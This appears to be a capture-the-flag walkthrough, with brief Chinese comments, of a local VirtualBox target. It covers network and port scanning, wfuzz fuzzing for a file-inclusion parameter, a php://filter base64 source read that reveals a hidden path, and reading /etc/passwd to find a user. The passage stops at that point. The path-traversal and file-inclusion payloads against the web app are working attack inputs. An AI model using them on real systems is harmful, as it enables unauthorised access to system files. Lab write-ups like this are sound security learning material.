❯ sudo arp-scan -l Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.60.1 00:50:56:c0:00:08 VMware, Inc. 192.168.60.2 00:50:56:e3:f6:57 VMware, Inc. 192.168.60.220 08:00:27:3b:f1:50 PCS Systemtechnik GmbH 192.168.60.254 00:50:56:e1:d8:58 VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.035 seconds (125.80 hosts/sec). 4 responded ❯ export ip=192.168.60.220 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- Nmap? More like slowmap.🐢 [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.220:22 Open 192.168.60.220:80 [~] Starting Script(s) [~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-01 21:06 CST Initiating ARP Ping Scan at 21:06 Scanning 192.168.60.220 [1 port] Completed ARP Ping Scan at 21:06, 0.09s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 21:06 Completed Parallel DNS resolution of 1 host. at 21:06, 0.00s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 21:06 Scanning 192.168.60.220 [2 ports] Discovered open port 80/tcp on 192.168.60.220 Discovered open port 22/tcp on 192.168.60.220 Completed SYN Stealth Scan at 21:06, 0.06s elapsed (2 total ports) Nmap scan report for 192.168.60.220 Host is up, received arp-response (0.00050s latency). Scanned at 2025-03-01 21:06:42 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 08:00:27:3B:F1:50 (Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
❯ wfuzz -c -u "http://$ip/file.php?FUZZ=../../../../etc/passwd" -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt --hw 0 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://192.168.60.220/file.php?FUZZ=../../../../etc/passwd Total requests: 207643 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== Total time: 101.8388 Processed Requests: 207643 Filtered Requests: 207643 Requests/sec.: 2038.936
❯ wfuzz -c -u "http://$ip/file.php?FUZZ=php://filter/convert.base64-encode/resource=secret" -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt --hw 0 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://192.168.60.220/file.php?FUZZ=php://filter/convert.base64-encode/resource=secret Total requests: 207643 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000741: 200 0 L 1 W 88 Ch "file" ^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests... Total time: 13.44606 Processed Requests: 1492 Filtered Requests: 1491 Requests/sec.: 110.9618
curl一下解码base64,得到源码中含有注释
My_H1dd3n_S3cr3t
id命令是代码中写死了
1 2 3 4 5 6 7 8
❯ curl http://$ip/file.php\?file\=php://filter/convert.base64-encode/resource\=secret|base64 -d % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 88 100 88 0 0 43010 0 --:--:-- --:--:-- --:--:-- 44000 <?php system("id"); // /My_H1dd3n_S3cr3t ?>
❯ wfuzz -c -u "http://192.168.60.220/My_H1dd3n_S3cr3t/file.php?FUZZ=/etc/passwd" -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt --hw 0 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://192.168.60.220/My_H1dd3n_S3cr3t/file.php?FUZZ=/etc/passwd Total requests: 207643 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000741: 200 26 L 38 W 1404 Ch "file" ^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests... Total time: 37.39385 Processed Requests: 25810 Filtered Requests: 25809 Requests/sec.: 690.2203
得到用户giuseppe
1 2 3 4 5 6 7
❯ curl http://192.168.60.220/My_H1dd3n_S3cr3t/file.php\?file\=/etc/passwd |grep /bin/bash % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 100 1404 100 1404 0 0 693k 0 --:--:-- --:--:-- --:--:-- 1371k root:x:0:0:root:/root:/bin/bash giuseppe:x:1000:1000:giuseppe,,,:/home/giuseppe:/bin/bash